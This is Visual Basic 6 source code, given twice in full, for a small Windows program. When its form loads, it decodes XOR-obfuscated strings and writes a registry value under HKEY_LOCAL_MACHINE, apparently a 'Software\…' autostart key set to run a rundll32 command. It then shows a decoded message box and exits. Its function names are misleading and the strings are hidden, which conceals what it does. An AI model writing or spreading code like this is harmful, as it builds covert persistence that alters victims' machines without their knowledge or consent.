- Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
- (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
- Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
- (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
- ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
- Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
- (lpVersionInformation As OSVERSIONINFO) As Long
-
- Private Type OSVERSIONINFO
- dwOSVersionInfoSize As Long
- dwMajorVersion As Long
- dwMinorVersion As Long
- dwBuildNumber As Long
- dwPlatformId As Long
- szCSDVersion As String * 128
- End Type
-
- Private Sub Form_Load()
- Call BuildApp
- MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
- LaGrandeVerite$("Dv#Kpo)&'")
- End
- End Sub
-
- Function LaGrandeVerite$(LeText$)
- a$ = ""
- For i = 1 To Len(LeText$)
- LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
- a$ = a$ + Chr$(LeCar)
- Next i
- LaGrandeVerite$ = a$
- End Function
-
- Sub BuildApp()
- Dim Resultat As Long
- Dim Ident As Long
-
- Resultat = 0
- Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
- "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
- Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
- If Resultat = 0 Then
- LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
- If GreatPlaceToLive = 2 Then
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- "==<BerdXybk|Xnhiqq")
- Else
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- Chr$(34) + "\gpb^{`erZlnoss")
- End If
- Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
- End If
- End Sub
-
- Function GreatPlaceToLive()
- Dim Here As OSVERSIONINFO
- Here.dwOSVersionInfoSize = Len(Here)
- Call MaisOuJeSuis(Here)
- GreatPlaceToLive = Here.dwPlatformId
- End Function
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Call BuildApp
MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
LaGrandeVerite$("Dv#Kpo)&'")
End
End Sub
Function LaGrandeVerite$(LeText$)
a$ = ""
For i = 1 To Len(LeText$)
LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
a$ = a$ + Chr$(LeCar)
Next i
LaGrandeVerite$ = a$
End Function
Sub BuildApp()
Dim Resultat As Long
Dim Ident As Long
Resultat = 0
Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
"wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
If Resultat = 0 Then
LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
If GreatPlaceToLive = 2 Then
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
"==<BerdXybk|Xnhiqq")
Else
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
Chr$(34) + "\gpb^{`erZlnoss")
End If
Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
End If
End Sub
Function GreatPlaceToLive()
Dim Here As OSVERSIONINFO
Here.dwOSVersionInfoSize = Len(Here)
Call MaisOuJeSuis(Here)
GreatPlaceToLive = Here.dwPlatformId
End Function